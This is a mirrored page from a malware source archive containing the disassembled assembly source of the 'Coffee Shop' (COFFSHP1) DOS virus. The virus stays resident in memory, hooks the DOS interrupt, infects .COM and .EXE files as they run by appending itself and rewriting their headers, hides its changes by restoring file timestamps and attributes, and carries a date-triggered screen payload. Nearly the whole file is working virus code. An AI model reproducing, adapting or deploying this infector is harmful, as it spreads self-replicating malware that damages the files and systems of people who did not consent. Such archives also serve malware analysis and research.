mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
4b9382ddbc
push
826 lines
18 KiB
NASM
826 lines
18 KiB
NASM
|
|
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ COFFSHP1 ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 23-Jun-92 ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Options on: AW ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
data_1e equ 0F8h
|
|
data_2e equ 0FAh
|
|
data_3e equ 43Bh
|
|
data_4e equ 0F4h
|
|
data_5e equ 0F8h
|
|
data_6e equ 0FCh
|
|
data_15e equ 15A1h
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
coffshp1 proc far
|
|
|
|
start:
|
|
jmp loc_2
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+di],ah
|
|
inc ax
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
int 20h ; DOS program terminate
|
|
db 27 dup (0)
|
|
loc_2:
|
|
call sub_2
|
|
|
|
coffshp1 endp
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_2 proc near
|
|
pop si
|
|
mov di,100h
|
|
sub si,20h
|
|
push ax
|
|
push ds
|
|
push es
|
|
push di
|
|
push si
|
|
cld ; Clear direction
|
|
mov ah,30h ; '0'
|
|
int 21h ; DOS Services ah=function 30h
|
|
; get DOS version number ax
|
|
xchg ah,al
|
|
cmp ax,30Ah
|
|
jb loc_3 ; Jump if below
|
|
mov ax,33DAh
|
|
int 21h ; ??INT Non-standard interrupt
|
|
cmp ah,0A5h
|
|
je loc_3 ; Jump if equal
|
|
mov ax,es
|
|
dec ax
|
|
mov ds,ax
|
|
xor bx,bx ; Zero register
|
|
cmp byte ptr [bx],5Ah ; 'Z'
|
|
jne loc_3 ; Jump if not equal
|
|
mov ax,[bx+3]
|
|
sub ax,72h
|
|
jc loc_3 ; Jump if carry Set
|
|
mov [bx+3],ax
|
|
sub word ptr [bx+12h],72h
|
|
mov es,[bx+12h]
|
|
push cs
|
|
pop ds
|
|
mov cx,620h
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
push es
|
|
pop ds
|
|
mov ax,3521h
|
|
int 21h ; DOS Services ah=function 35h
|
|
; get intrpt vector al in es:bx
|
|
mov ds:data_1e,bx
|
|
mov ds:data_2e,es
|
|
;* mov dx,offset loc_1
|
|
db 0BAh, 01h, 02h
|
|
mov ax,2521h
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
mov ah,2Ah ; '*'
|
|
int 21h ; DOS Services ah=function 2Ah
|
|
; get date, cx=year, dh=month
|
|
; dl=day, al=day-of-week 0=SUN
|
|
cmp al,5
|
|
jne loc_3 ; Jump if not equal
|
|
mov ah,2Ch ; ','
|
|
int 21h ; DOS Services ah=function 2Ch
|
|
; get time, cx=hrs/min, dx=sec
|
|
or dh,dh ; Zero ?
|
|
jnz loc_3 ; Jump if not zero
|
|
pop ax
|
|
push ax
|
|
call sub_3
|
|
loc_3:
|
|
pop si
|
|
pop di
|
|
pop es
|
|
pop ds
|
|
pop ax
|
|
cmp byte ptr cs:[si+1Ch],0
|
|
je loc_4 ; Jump if equal
|
|
mov bx,ds
|
|
add bx,10h
|
|
mov cx,bx
|
|
add bx,cs:[si+0Eh]
|
|
cli ; Disable interrupts
|
|
mov ss,bx
|
|
mov sp,cs:[si+10h]
|
|
sti ; Enable interrupts
|
|
add cx,cs:[si+16h]
|
|
push cx
|
|
push word ptr cs:[si+14h]
|
|
retf ; Return far
|
|
loc_4:
|
|
push di
|
|
mov cx,1Ch
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
retn
|
|
sub_2 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_3 proc near
|
|
mov bx,ax
|
|
add bx,152h
|
|
push cs
|
|
push bx
|
|
add ax,62Fh
|
|
and ax,0FFF0h
|
|
mov di,ax
|
|
mov si,data_3e
|
|
mov cx,2E5h
|
|
push cs
|
|
pop es
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
mov cl,4
|
|
shr ax,cl ; Shift w/zeros fill
|
|
mov dx,cs
|
|
add ax,dx
|
|
sub ax,10h
|
|
mov ds,ax
|
|
mov es,ax
|
|
push ax
|
|
mov ax,100h
|
|
push ax
|
|
retf ; Return far
|
|
sub_3 endp
|
|
|
|
and [bp+di+6Fh],al
|
|
db 'ffeeShop '
|
|
db 0B0h, 03h,0CFh, 9Ch, 3Dh,0DAh
|
|
db 33h, 75h, 05h,0B8h, 01h,0A5h
|
|
db 9Dh,0CFh
|
|
db 06h, 1Eh, 56h, 57h, 52h, 51h
|
|
db 53h, 50h, 3Dh, 00h, 4Bh, 74h
|
|
db 0Ch, 3Dh, 00h
|
|
db 6Ch, 75h, 0Ah
|
|
db 0F6h,0C3h, 03h, 75h, 05h, 8Bh
|
|
db 0D7h
|
|
loc_7:
|
|
call sub_4
|
|
loc_8:
|
|
pop ax
|
|
pop bx
|
|
pop cx
|
|
pop dx
|
|
pop di
|
|
pop si
|
|
pop ds
|
|
pop es
|
|
popf ; Pop flags
|
|
jmp dword ptr cs:data_5e
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_4 proc near
|
|
cld ; Clear direction
|
|
push cs
|
|
pop es
|
|
mov si,dx
|
|
xor di,di ; Zero register
|
|
mov cx,80h
|
|
|
|
locloop_9:
|
|
lodsb ; String [si] to al
|
|
cmp al,0
|
|
je loc_12 ; Jump if equal
|
|
cmp al,61h ; 'a'
|
|
jb loc_10 ; Jump if below
|
|
cmp al,7Ah ; 'z'
|
|
ja loc_10 ; Jump if above
|
|
xor al,20h ; ' '
|
|
loc_10:
|
|
stosb ; Store al to es:[di]
|
|
loop locloop_9 ; Loop if cx > 0
|
|
|
|
|
|
loc_ret_11:
|
|
retn
|
|
loc_12:
|
|
stosb ; Store al to es:[di]
|
|
lea si,[di-5] ; Load effective addr
|
|
push cs
|
|
pop ds
|
|
lodsw ; String [si] to ax
|
|
cmp ax,452Eh
|
|
jne loc_13 ; Jump if not equal
|
|
lodsw ; String [si] to ax
|
|
cmp ax,4558h
|
|
jmp short loc_14
|
|
loc_13:
|
|
cmp ax,432Eh
|
|
jne loc_ret_11 ; Jump if not equal
|
|
lodsw ; String [si] to ax
|
|
cmp ax,4D4Fh
|
|
loc_14:
|
|
jne loc_ret_11 ; Jump if not equal
|
|
std ; Set direction flag
|
|
mov cx,si
|
|
inc cx
|
|
|
|
locloop_15:
|
|
lodsb ; String [si] to al
|
|
cmp al,3Ah ; ':'
|
|
je loc_16 ; Jump if equal
|
|
cmp al,5Ch ; '\'
|
|
je loc_16 ; Jump if equal
|
|
loop locloop_15 ; Loop if cx > 0
|
|
|
|
dec si
|
|
loc_16:
|
|
cld ; Clear direction
|
|
lodsw ; String [si] to ax
|
|
lodsw ; String [si] to ax
|
|
mov di,3BEh
|
|
mov cl,0Ch
|
|
repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax
|
|
jz loc_ret_11 ; Jump if zero
|
|
mov ax,3300h
|
|
int 21h ; DOS Services ah=function 33h
|
|
; get ctrl-break flag in dl
|
|
push dx
|
|
cwd ; Word to double word
|
|
inc ax
|
|
push ax
|
|
int 21h ; DOS Services ah=function 33h
|
|
; set ctrl-break flag dl=off/on
|
|
mov ax,3524h
|
|
int 21h ; DOS Services ah=function 35h
|
|
; get intrpt vector al in es:bx
|
|
push es
|
|
push bx
|
|
push cs
|
|
pop ds
|
|
mov dx,offset int_24h_entry
|
|
mov ah,25h ; '%'
|
|
push ax
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
mov ax,4300h
|
|
cwd ; Word to double word
|
|
int 21h ; DOS Services ah=function 43h
|
|
; get attrb cx, filename @ds:dx
|
|
push cx
|
|
xor cx,cx ; Zero register
|
|
mov ax,4301h
|
|
push ax
|
|
int 21h ; DOS Services ah=function 43h
|
|
; set attrb cx, filename @ds:dx
|
|
jc loc_17 ; Jump if carry Set
|
|
mov ax,3D02h
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
jnc loc_18 ; Jump if carry=0
|
|
loc_17:
|
|
jmp loc_24
|
|
loc_18:
|
|
xchg ax,bx
|
|
mov ax,5700h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; get file date+time, bx=handle
|
|
; returns cx=time, dx=time
|
|
push dx
|
|
push cx
|
|
mov cx,1Ch
|
|
mov si,100h
|
|
mov dx,si
|
|
call sub_7
|
|
jc loc_19 ; Jump if carry Set
|
|
mov ax,4202h
|
|
xor cx,cx ; Zero register
|
|
cwd ; Word to double word
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, bx=file handle
|
|
; al=method, cx,dx=offset
|
|
mov di,data_4e
|
|
mov [di],ax
|
|
mov [di+2],dx
|
|
cmp word ptr [si+12h],4021h
|
|
je loc_19 ; Jump if equal
|
|
cmp word ptr [si],5A4Dh
|
|
je loc_20 ; Jump if equal
|
|
mov byte ptr [si+1Ch],0
|
|
test byte ptr [si],80h
|
|
jz loc_19 ; Jump if zero
|
|
cmp word ptr [di],0D000h
|
|
jae loc_19 ; Jump if above or =
|
|
cmp word ptr [di],7D0h
|
|
jb loc_19 ; Jump if below
|
|
call sub_10
|
|
jnz loc_19 ; Jump if not zero
|
|
mov byte ptr [si],0E9h
|
|
mov ax,[di]
|
|
add ax,1Ah
|
|
mov [si+1],ax
|
|
jmp short loc_22
|
|
loc_19:
|
|
jmp loc_23
|
|
loc_20:
|
|
mov byte ptr [si+1Ch],1
|
|
cmp word ptr [si+18h],40h
|
|
jb loc_21 ; Jump if below
|
|
mov ax,3Ch
|
|
cwd ; Word to double word
|
|
call sub_6
|
|
jc loc_23 ; Jump if carry Set
|
|
mov ax,[si-4]
|
|
mov dx,[si-2]
|
|
call sub_6
|
|
jc loc_23 ; Jump if carry Set
|
|
cmp byte ptr [si-3],45h ; 'E'
|
|
je loc_23 ; Jump if equal
|
|
loc_21:
|
|
call sub_9
|
|
cmp [si+4],ax
|
|
jne loc_23 ; Jump if not equal
|
|
cmp [si+2],dx
|
|
jne loc_23 ; Jump if not equal
|
|
cmp word ptr [si+0Ch],0
|
|
je loc_23 ; Jump if equal
|
|
cmp word ptr [si+1Ah],0
|
|
jne loc_23 ; Jump if not equal
|
|
call sub_10
|
|
jnz loc_23 ; Jump if not zero
|
|
call sub_8
|
|
mov [si+4],ax
|
|
mov [si+2],dx
|
|
call sub_11
|
|
mov cx,10h
|
|
div cx ; ax,dx rem=dx:ax/reg
|
|
sub ax,[si+8]
|
|
dec ax
|
|
add dx,2Dh
|
|
mov [si+16h],ax
|
|
mov [si+0Eh],ax
|
|
mov [si+14h],dx
|
|
mov word ptr [si+10h],17E0h
|
|
lea di,[si+0Ah] ; Load effective addr
|
|
call sub_5
|
|
lea di,[si+0Ch] ; Load effective addr
|
|
call sub_5
|
|
loc_22:
|
|
call sub_12
|
|
mov word ptr [si+12h],4021h
|
|
mov cx,1Ch
|
|
mov dx,si
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
loc_23:
|
|
pop cx
|
|
pop dx
|
|
mov ax,5701h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; set file date+time, bx=handle
|
|
; cx=time, dx=time
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
loc_24:
|
|
pop ax
|
|
pop cx
|
|
cwd ; Word to double word
|
|
int 21h ; DOS Services ah=function 43h
|
|
; set attrb cx, filename @ds:dx
|
|
pop ax
|
|
pop dx
|
|
pop ds
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
pop ax
|
|
pop dx
|
|
int 21h ; DOS Services ah=function 33h
|
|
; set ctrl-break flag dl=off/on
|
|
retn
|
|
sub_4 endp
|
|
|
|
inc bx
|
|
dec di
|
|
push bx
|
|
inc bx
|
|
inc bx
|
|
dec sp
|
|
push si
|
|
push bx
|
|
dec si
|
|
inc bp
|
|
dec ax
|
|
push sp
|
|
push sp
|
|
inc dx
|
|
push si
|
|
dec cx
|
|
push dx
|
|
inc cx
|
|
inc si
|
|
inc bp
|
|
dec bp
|
|
push sp
|
|
inc dx
|
|
push dx
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_5 proc near
|
|
mov ax,[di]
|
|
sub ax,62h
|
|
jc loc_25 ; Jump if carry Set
|
|
cmp ax,14Bh
|
|
jae loc_26 ; Jump if above or =
|
|
loc_25:
|
|
mov ax,14Bh
|
|
loc_26:
|
|
mov [di],ax
|
|
retn
|
|
sub_5 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_6 proc near
|
|
call sub_13
|
|
mov dx,data_6e
|
|
mov cx,4
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_7:
|
|
mov ah,3Fh ; '?'
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, bx=file handle
|
|
; cx=bytes to ds:dx buffer
|
|
retn
|
|
sub_6 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_8 proc near
|
|
call sub_11
|
|
add ax,620h
|
|
adc dx,0
|
|
jmp short loc_27
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_9:
|
|
call sub_11
|
|
loc_27:
|
|
mov cx,200h
|
|
div cx ; ax,dx rem=dx:ax/reg
|
|
or dx,dx ; Zero ?
|
|
jz loc_ret_28 ; Jump if zero
|
|
inc ax
|
|
|
|
loc_ret_28:
|
|
retn
|
|
sub_8 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_10 proc near
|
|
call sub_11
|
|
call sub_13
|
|
mov cx,620h
|
|
mov dx,si
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
cmp ax,cx
|
|
retn
|
|
sub_10 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_11 proc near
|
|
mov ax,[di]
|
|
mov dx,[di+2]
|
|
retn
|
|
sub_11 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_12 proc near
|
|
xor ax,ax ; Zero register
|
|
cwd ; Word to double word
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_13:
|
|
xchg cx,dx
|
|
xchg ax,dx
|
|
mov ax,4200h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, bx=file handle
|
|
; al=method, cx,dx=offset
|
|
retn
|
|
sub_12 endp
|
|
|
|
and [di+4Bh],cl
|
|
and [bx],ah
|
|
cmp [bp+si],si
|
|
and ds:data_15e[bx],bh
|
|
cmp di,sp
|
|
jb loc_29 ; Jump if below
|
|
mov ah,4Ch ; 'L'
|
|
int 21h ; DOS Services ah=function 4Ch
|
|
; terminate with al=return code
|
|
loc_29:
|
|
mov si,403h
|
|
mov cx,170h
|
|
std ; Set direction flag
|
|
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
|
cld ; Clear direction
|
|
mov si,di
|
|
mov di,100h
|
|
lodsw ; String [si] to ax
|
|
lodsw ; String [si] to ax
|
|
mov bp,ax
|
|
mov dl,10h
|
|
jmp $+1439h
|
|
adc ax,7FDFh
|
|
cld ; Clear direction
|
|
mov ah,0Fh
|
|
int 10h ; Video display ah=functn 0Fh
|
|
; get state, al=mode, bh=page
|
|
; ah=columns on screen
|
|
mov ah,0
|
|
push ax
|
|
sti ; Enable interrupts
|
|
mov bh,0B0h
|
|
cmp al,7
|
|
;* je loc_31 ; Jump if equal
|
|
db 74h,0FFh
|
|
dec word ptr [bp+si]
|
|
cmp al,4
|
|
jae $+2Ah ; Jump if above or =
|
|
mov bh,0B8h
|
|
cmp al,2
|
|
jb $+24h ; Jump if below
|
|
mov es,bx
|
|
mov si,140h
|
|
db 0FFh,0FFh,0B0h, 19h, 57h,0B1h
|
|
db 50h,0F3h,0A5h, 5Fh, 81h,0C7h
|
|
db 0A0h, 00h,0FEh,0C8h, 75h,0F2h
|
|
db 03h, 8Fh,0B8h, 07h, 0Eh,0D6h
|
|
db 0FBh, 0Ch,0CDh, 21h, 58h,0F8h
|
|
db 63h,0A7h,0CBh, 20h, 02h,0FEh
|
|
db 20h, 00h,0FAh,0EBh,0B0h,0FCh
|
|
db 0F8h, 03h, 77h,0F0h,0E0h,0D0h
|
|
db 41h, 0Fh,0C0h, 2Fh, 07h, 1Dh
|
|
db 80h, 6Fh,0BAh,0DCh,0E1h, 34h
|
|
db 0DBh, 0Ch,0F8h,0F0h, 0Eh,0DFh
|
|
db 0FEh,0F4h,0F8h,0BBh,0AEh,0F8h
|
|
db 0E4h, 03h, 84h,0E0h,0FCh,0EBh
|
|
db 0B0h,0E6h,0EAh,0A3h, 83h,0DAh
|
|
db 0AAh, 0Eh,0DCh, 09h,0BAh,0C8h
|
|
db 01h, 3Ah,0F0h, 50h, 07h,0A2h
|
|
db 0E8h,0E0h,0ACh, 05h,0DBh, 0Eh
|
|
db 77h, 0Fh,0F8h,0DCh,0F6h,0BAh
|
|
db 0AEh,0F0h,0F6h,0EBh, 3Ah,0F0h
|
|
db 0F4h,0E0h, 40h, 17h,0FAh
|
|
loc_33:
|
|
in al,dx ; port 10h ??I/O Non-standard
|
|
sbb ax,0DF72h
|
|
esc 2,dl ; coprocessor escape
|
|
jz loc_33 ; Jump if zero
|
|
mov dx,20DDh
|
|
sbb ax,0DE74h
|
|
and [bp+si-45F9h],ch
|
|
esc 0,[bx+di-8] ; coprocessor escape
|
|
inc di
|
|
xchg di,ax
|
|
call $-171Ch
|
|
clc ; Clear carry flag
|
|
xchg ax,dx
|
|
hlt ; Halt processor
|
|
add [di],bl
|
|
db 60h,0D8h,0E8h, 09h,0DCh,0FEh
|
|
db 09h,0F8h,0B0h, 23h,0F8h, 5Ch
|
|
db 0D7h,0FCh,0F8h,0FCh,0E8h, 01h
|
|
db 3Bh,0F4h,0ECh, 80h,0D2h, 1Dh
|
|
db 0BEh,0BAh, 5Ch, 20h, 7Ch, 03h
|
|
db 75h, 60h,0CAh, 20h, 0Eh,0B2h
|
|
db 0D8h, 81h,0F0h, 3Bh, 40h, 92h
|
|
db 0D7h,0B5h,0CEh,0F8h,0DCh, 60h
|
|
db 0A7h, 41h,0DEh, 60h, 02h,0B5h
|
|
db 0BEh, 3Ch, 20h, 0Fh, 7Bh, 22h
|
|
db 65h, 07h, 15h, 60h, 6Eh, 42h
|
|
db 68h,0B8h, 20h,0FEh,0FCh,0AEh
|
|
db 23h,0FCh,0E2h, 7Fh, 07h,0C0h
|
|
db 0B3h, 20h, 2Fh, 60h, 79h, 28h
|
|
db 6Ah,0DEh, 7Eh,0E0h, 08h,0D5h
|
|
db 09h,0E4h,0C0h, 60h,0C1h, 70h
|
|
db 0Bh,0DFh,0E4h, 42h,0D0h, 7Bh
|
|
db 4Fh, 5Eh, 9Ah, 05h,0ADh
|
|
db 22h
|
|
db 06h, 80h, 70h, 10h, 60h, 3Eh
|
|
db 05h,0CAh, 5Eh, 41h, 46h,0A4h
|
|
db 53h,0EFh, 15h
|
|
db 7Ah
|
|
db 97h,0C2h, 54h, 74h, 04h, 20h
|
|
db 60h, 50h, 45h, 01h,0C8h,0E8h
|
|
db 0DCh, 05h,0F9h, 06h, 54h,0D8h
|
|
db 0DEh, 41h, 2Dh, 78h, 7Ah, 01h
|
|
db 55h, 75h, 04h, 20h, 76h, 1Dh
|
|
db 0B8h, 2Eh,0EAh,0A0h,0C6h, 62h
|
|
db 55h, 83h, 8Ah, 5Eh, 09h,0C0h
|
|
db 0Ah, 5Ch, 20h,0C6h, 11h, 12h
|
|
db 0D0h, 2Ah, 74h, 58h, 5Dh, 5Eh
|
|
db 17h, 5Bh, 60h, 80h, 92h, 0Eh
|
|
db 40h,0EAh, 40h, 75h,0ACh, 62h
|
|
db 15h, 74h,0C4h, 59h, 5Eh,0C0h
|
|
db 9Dh,0C4h, 82h, 15h, 08h,0DCh
|
|
db 20h, 14h, 90h, 60h, 20h, 43h
|
|
db 66h, 62h, 94h, 50h, 3Bh, 65h
|
|
db 0ECh, 5Eh,0A4h, 1Dh,0CFh, 70h
|
|
db 80h,0C2h, 20h, 8Ah, 0Eh,0B2h
|
|
db 62h, 2Ah,0ECh, 69h,0CCh, 5Eh
|
|
db 80h, 55h,0BEh, 0Bh,0C0h, 80h
|
|
db 62h, 41h, 0Eh, 04h, 72h,0FEh
|
|
db 56h, 05h, 6Eh, 10h, 01h,0D5h
|
|
db 41h,0AEh,0FEh,0CEh, 9Eh,0D1h
|
|
db 08h,0FEh,0C4h,0E9h, 5Ch,0E6h
|
|
db 0AAh, 62h,0CCh,0C0h,0C8h, 01h
|
|
db 62h, 39h,0ECh, 6Ch,0F2h, 9Dh
|
|
db 62h,0BCh, 94h, 48h, 41h, 28h
|
|
db 4Ah, 45h, 38h, 26h,0FEh, 52h
|
|
db 1Ch, 5Ah, 5Fh,0FEh,0BEh, 40h
|
|
db 02h, 84h,0F2h, 0Ah,0B8h,0AEh
|
|
db 70h,0FEh,0FCh, 8Eh, 12h, 6Ah
|
|
db 0DEh, 54h,0D8h, 61h,0ACh, 50h
|
|
db 0B1h, 43h, 3Eh, 72h, 80h,0A3h
|
|
db 60h, 48h, 6Ah, 82h, 0Eh, 96h
|
|
db 02h, 66h, 3Ah, 6Ch, 58h, 84h
|
|
db 0B4h,0D1h, 01h, 5Ah, 48h, 3Ah
|
|
db 0EAh, 44h, 70h, 0Bh,0E8h,0D8h
|
|
db 24h, 9Eh, 28h, 12h, 73h,0C6h
|
|
db 54h,0D0h,0FFh
|
|
db 0F0h,0FFh, 60h, 34h, 50h, 00h
|
|
db 00h,0FFh
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_14 proc near
|
|
shr bp,1 ; Shift w/zeros fill
|
|
dec dl
|
|
jnz loc_ret_38 ; Jump if not zero
|
|
lodsw ; String [si] to ax
|
|
mov bp,ax
|
|
mov dl,10h
|
|
|
|
loc_ret_38:
|
|
retn
|
|
sub_14 endp
|
|
|
|
loc_39:
|
|
call sub_14
|
|
rcl bh,1 ; Rotate thru carry
|
|
call sub_14
|
|
jc loc_42 ; Jump if carry Set
|
|
mov dh,2
|
|
mov cl,3
|
|
|
|
locloop_40:
|
|
call sub_14
|
|
jc loc_41 ; Jump if carry Set
|
|
call sub_14
|
|
rcl bh,1 ; Rotate thru carry
|
|
shl dh,1 ; Shift w/zeros fill
|
|
loop locloop_40 ; Loop if cx > 0
|
|
|
|
loc_41:
|
|
sub bh,dh
|
|
loc_42:
|
|
mov dh,2
|
|
mov cl,4
|
|
|
|
locloop_43:
|
|
inc dh
|
|
call sub_14
|
|
jc loc_44 ; Jump if carry Set
|
|
loop locloop_43 ; Loop if cx > 0
|
|
|
|
call sub_14
|
|
jnc loc_45 ; Jump if carry=0
|
|
inc dh
|
|
call sub_14
|
|
jnc loc_44 ; Jump if carry=0
|
|
inc dh
|
|
loc_44:
|
|
mov cl,dh
|
|
jmp short locloop_51
|
|
loc_45:
|
|
call sub_14
|
|
jc loc_47 ; Jump if carry Set
|
|
mov cl,3
|
|
mov dh,0
|
|
|
|
locloop_46:
|
|
call sub_14
|
|
rcl dh,1 ; Rotate thru carry
|
|
loop locloop_46 ; Loop if cx > 0
|
|
|
|
add dh,9
|
|
jmp short loc_44
|
|
loc_47:
|
|
lodsb ; String [si] to al
|
|
mov cl,al
|
|
add cx,11h
|
|
jmp short locloop_51
|
|
loc_48:
|
|
mov cl,3
|
|
|
|
locloop_49:
|
|
call sub_14
|
|
